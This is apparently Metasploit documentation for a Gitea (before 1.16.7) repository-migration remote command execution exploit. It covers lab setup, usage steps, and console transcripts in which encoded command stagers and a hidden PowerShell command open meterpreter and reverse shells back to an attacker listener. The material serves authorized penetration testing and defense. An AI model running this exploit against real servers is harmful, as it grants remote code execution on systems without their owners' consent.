## Vulnerable Application

[Gitea](https://gitea.io/) is a painless self-hosted Git service community
managed lightweight code hosting solution written in Go.

This module has been tested successfully on Gitea versions:
* 1.16.6 with Git 2.30.3 (Docker)
* 1.16.6 with Git 2.30.2 (Windows 10)

### Description

This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.

The migration process require valid Git repository address so the module will
use the Gitea target itself by creating a temporary repository. This scenario
won't work with [Gitea default configuration](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini)
because `ALLOW_LOCALNETWORKS` is disabled. However, it will be ignored when
[ALLOWED_DOMAINS](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini#L2289)
is set, but it must be set to all domain with `*` for this scenario to work.

There is an update in the Git-remote command line starting from version 2.34.0
which refuses to update the branch pull request URL to the current path.

```
\testrepo.git>git version
git version 2.34.0.windows.1
\testrepo.git>git remote add -f master ./
Updating master
fatal: bad object refs/pull/0/head
error: ./ did not send all necessary objects

error: Could not fetch master
```
This causes the exploit to fail because Git-fetch will not executed if the
Git-remote fail. Details of these limitation are explained
[here](https://tttang.com/archive/1607/)

### Source and Installers

* [Source Code Repository](https://github.com/go-gitea/gitea/)
* [Installers](https://dl.gitea.io/gitea/1.16.6)
* [Docker](https://docs.gitea.io/en-us/install-with-docker/)

### Docker installation
1. create `docker-compose.yml` file
```
version: "3"

networks:
  gitea:
    external: false

services:
  server:
    image: gitea/gitea:1.16.6
    container_name: gitea
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always
    networks:
      - gitea
    volumes:
      - ./gitea:/data
      - /etc/timezone:/etc/timezone:ro
      - /etc/localtime:/etc/localtime:ro
    ports:
      - "3000:3000"
      - "222:22"
```
2. run `docker-compose up`
3. append `ALLOW_LOCALNETWORKS` in the configuration file.
```
:~$ cat << EOF >> gitea/gitea/conf/app.ini
> [migrations]
> ALLOW_LOCALNETWORKS = true
> EOF
```
4. Navigate to the localhost port 3000 and finish the installation. Note that
   the first registered user will automatically become administrator so make
   sure to set the administrator username and password upon installation.

## Verification Steps

1. Navigate to `/user/sign_up` and register normal user
2. Do: `use unix/webapp/gitea_git_fetch_rce`
3. Do: `set RHOSTS [ips]`
4. Do: `set LHOST [lhost]`
5. Do: `set USERNAME [username]`
6. Do: `set PASSWORD [password]`
7. Do: `run`
8. You should get a shell.

## Options

### USERNAME
The Gitea valid username to authenticate

### USERNAME
The Gitea valid password to authenticate

### HTTPDELAY
Number of seconds the web server will wait to deliver payload (default: 12)

## Scenarios
### Successful exploitation of Gitea 1.16.6 on Docker

```
msf > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1
lhost => 172.17.0.1
msf exploit(multi/http/gitea_git_fetch_rce) > set username msf
username => msf
msf exploit(multi/http/gitea_git_fetch_rce) > set password qwerty
password => qwerty
msf exploit(multi/http/gitea_git_fetch_rce) > set verbose true
verbose => true
msf exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://172.17.0.1:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/topics
[*] Creating repository "u8W2Lu24p"
[+] Repository created
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgAB..."]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAA...
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Migrating repository
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3020772 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:60744) at 2022-10-03 18:40:15 +0700
[*] Server stopped.

meterpreter > getuid
Server username: git
```

### Successful exploitation of Gitea 1.16.6 on Windows 10

```
msf > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/gitea_git_fetch_rce) > set target 2
target => 2
msf exploit(multi/http/gitea_git_fetch_rce) > set rhosts 192.168.0.21
rhosts => 192.168.0.21
msf exploit(multi/http/gitea_git_fetch_rce) > set lhost 192.168.0.104
lhost => 192.168.0.104
msf exploit(multi/http/gitea_git_fetch_rce) > set username yo
username => yo
msf exploit(multi/http/gitea_git_fetch_rce) > set password password
password => password
msf exploit(multi/http/gitea_git_fetch_rce) > set verbose true
verbose => true
msf exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 192.168.0.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.0.104:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/pulls
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/topics
[*] Creating repository "ExcLF0xBxG"
[+] Repository created
[*] Executing command: powershell.exe -nop -w hidden -noni -ep bypass "&([...
[*] Migrating repository
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700
[*] Migrating repository
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700
[*] Server stopped.

PS C:\Users\msf\Downloads\data\gitea-repositories\yo\gu5em72atm5.git> whoami
msf
```

### Failed exploitation due to migration settings

```
msf > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1
lhost => 172.17.0.1
msf exploit(multi/http/gitea_git_fetch_rce) > set username msf
username => msf
msf exploit(multi/http/gitea_git_fetch_rce) > set password qwerty
password => qwerty
msf exploit(multi/http/gitea_git_fetch_rce) > set verbose true
verbose => true
msf exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://172.17.0.1:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/topics
[*] Creating repository "P7EpcvA"
[+] Repository created
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAA..."]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAAB...
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Migrating repository
[*] Server stopped.
[-] Exploit aborted due to failure: unexpected-reply: Unable to migrate repo:
You can not import from disallowed hosts, please ask the admin to check
ALLOWED_DOMAINS/ALLOW_LOCALNETWORKS/BLOCKED_DOMAINS settings.
[*] Exploit completed, but no session was created.
```
